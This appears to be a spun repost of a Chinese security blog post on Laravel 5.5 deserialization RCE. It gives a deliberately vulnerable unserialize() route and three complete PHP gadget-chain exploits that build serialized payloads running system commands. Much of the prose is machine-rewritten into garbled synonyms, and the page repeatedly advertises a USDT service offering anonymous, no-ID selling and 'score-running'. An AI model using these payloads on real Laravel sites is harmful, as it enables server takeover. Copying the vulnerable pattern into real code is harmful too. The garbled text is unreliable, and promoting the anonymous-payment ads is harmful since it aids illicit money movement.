菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

首页科技正文

usdt手机钱包(www.caibao.it):laravel5.5-序列化导致rce

admin2021-03-0236安全技术WEB安全

USDT自动充值API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

laravel5.5-序列化导致rce

之前开剖析给laravel5.4,5.7,5.8的序列化破绽,以是继续我们的laravel框架序列化破绽

1.1环境搭建

要剖析框架破绽我们肯定要搭建好环境,这里我是使用的安装包搭建的,也可以使用composer搭建

laravel安装包下载地址

然后使用phpstduy,快速搭建好。如下图。

1.2寻找行使点

laravel5.5中并没有修复5.4的序列化破绽以是我们这一次就不讨论之前5.4的序列化破绽了,还记得上一次剖析5.4的思绪是找__call邪术函数,而这一次我们换一个思绪。

这次是挪用随便类的方式。

入口:5.5版本序列化的入口照样Illuminate\Broadcasting\PendingBroadcast

简朴的解释一下为什么这个入口好行使?由于这里两个参数我们都可以控制,就有俩个思绪,一个是去挪用__call方式,另一个是去挪用随便类的dispatch()方式。

以是我们就去搜索dispatch()方式,这里我们行使Illuminate\Events\Dispatcher类中的dispatch方式

为什么我们找的是这个类?由于下面有一个可能存在rce的地方。

以是现在就是看看$response = $listener($event, $payload);中的参数可以控制?去组织一个system(whoami)

$event变量是来自Illuminate\Broadcasting\PendingBroadcast类的$this->event我们可以控制。

以是接下来至少的行使都要去控制$listener变量。而$listener变量是来自getListeners()方式

我们跟进getListeners()方式

可以发现我们可以控制的参数是$this->listeners[]数组,而且这里的$eventName就是Illuminate\Broadcasting\PendingBroadcast类的$this->event为我们执行下令的参数,以是class_exists($eventName, false)为false,直接返回$listeners

然后返回dispatch函数举行foreach操作,这里我们已经可以控制$this->getListeners($event)的返回值,以是就可以控制$listener

而这里是执行system下令,就可以不管$payload变量,而且system函数支持2个参数

1.3组织触发

由于序列化的行使基本上在后期开发中写的,使用我们需要写一个触发点去验证poc.

/routes/web.php 文件中添加一条路由,便于我们后续接见。

Route::get("/","\App\Http\Controllers\DemoController@demo");

然后在/app/Http/Controllers/下添加 DemoController控制器,代码如下:(后面都是行使这个破绽触发点)

<?php 
namespace App\Http\Controllers;

use Illuminate\Http\Request;
class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.5";
    }
}

1.4exp

<?php

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($events, $parameter)
        {
            $this->events = $events;
            $this->event = $parameter;
        }
    }
}
namespace Illuminate\Events
{
    class Dispatcher
    {
        protected $listeners;

        function __construct($function, $parameter)
        {
            $this->listeners = [
                $parameter => [$function]
            ];
        }
    }
}
namespace{
    $b = new Illuminate\Events\Dispatcher('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
    echo base64_encode(serialize($a));
}

执行乐成~

1.5攻击流程

下面的攻击流程图,去掉了没有用的代码。

,

Usdt第三方支付平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

别着急,另有。。。。

2.1链子2

横竖入口是一样的,而且思绪就俩个,以是只要认真去寻找总是会有的。

以是这里我们在去找一个__call邪术函数的

Illuminate\Support\Manager类中发现,而且这个类是抽象类,说明有一个类是实现他的,一会在去找这个类。

现在我们需要进跟进driver()方式,找一找有没有行使点,而且可以控制参数。

说明这个方式是抽象方式,现在我们就需要去寻找这个类,去实现这个方式的。

找到了Illuminate\Notifications\ChannelManager类,而且这个参数$this->defaultChannel我们可以控制

说明$driver变量可以控制,然后跟进createDriver函数,我们可以控制$this->customCreators[$driver]

然后去看一看callCustomCreator函数,发现了行使点,可能存在rce,而且$this->app我们可以控制。

现在就是需要去控制$this->customCreators[$driver]而且可以进入callCustomCreator函数。我们在返回createDriver函数看看。

这里我们可以控制$this->customCreators[$driver],让其即是system这样就可以进入if条件,而且$driver我们也可以控制,然后进入callCustomCreator(),执行下令。

2.2exp

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;

        function __construct($events)
        {
            $this->events = $events;
        }
    }
}


namespace Illuminate\Notifications
{
    class ChannelManager
    {
        protected $app;
        protected $defaultChannel;
        protected $customCreators;

        function __construct($function, $parameter)
        {
            $this->app = $parameter;
            $this->customCreators = ['nice' => $function];
            $this->defaultChannel = 'nice';
        }
    }
}
namespace{
    $b = new Illuminate\Notifications\ChannelManager('system','whoami');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b);
    echo base64_encode(serialize($a));
}

乐成执行。

2.3攻击流程

下面的攻击流程图,同样去掉了没有用的代码。

什么?竣事?别着急别着急,另有呢。。。

3.1链子3

我们照样去寻找__call邪术函数。在Illuminate\Validation\Validator类中找的

这里,我们可以控制$this->extensions[$rule],然后去查看一下callExtension()函数

发现行使点,call_user_func_array()。而这里的$callback可以通过$this->extensions[$rule];去控制, $parameters就是__call方式中的$parameters也就是Illuminate\Broadcasting\PendingBroadcast类的$this->event,使用我们可以rce

最后我们只需要控制参数进入if (isset($this->extensions[$rule]))条件,就需要通过调试去看一看$rule变量的值

可以看到$rule变量的值是"",以是只要让其$rule变量即是""就可以进入if条件。举行下面的操作。

3.2exp

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace Illuminate\Validation
{
    class Validator
    {
        public $extensions;

        function __construct($function)
        {
            $this->extensions = ['' => $function];
        }
    }
}
namespace{
    $b = new Illuminate\Validation\Validator('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
    echo base64_encode(serialize($a));
}

执行乐成

3.3攻击流程

下面的攻击流程图,同样去掉了没有用的代码。

hhh...没有了,然则我信赖另有的,感兴趣的师傅们可以去深入研究一下。

总结

  • 这个破绽应该说是对照简朴的序列化,对照好明白,对于初学者来说对照容易上手
  • 这个唯一的难点在处置一些变量中的一些细节问题
  • all in all 多调试,多跟踪

网友评论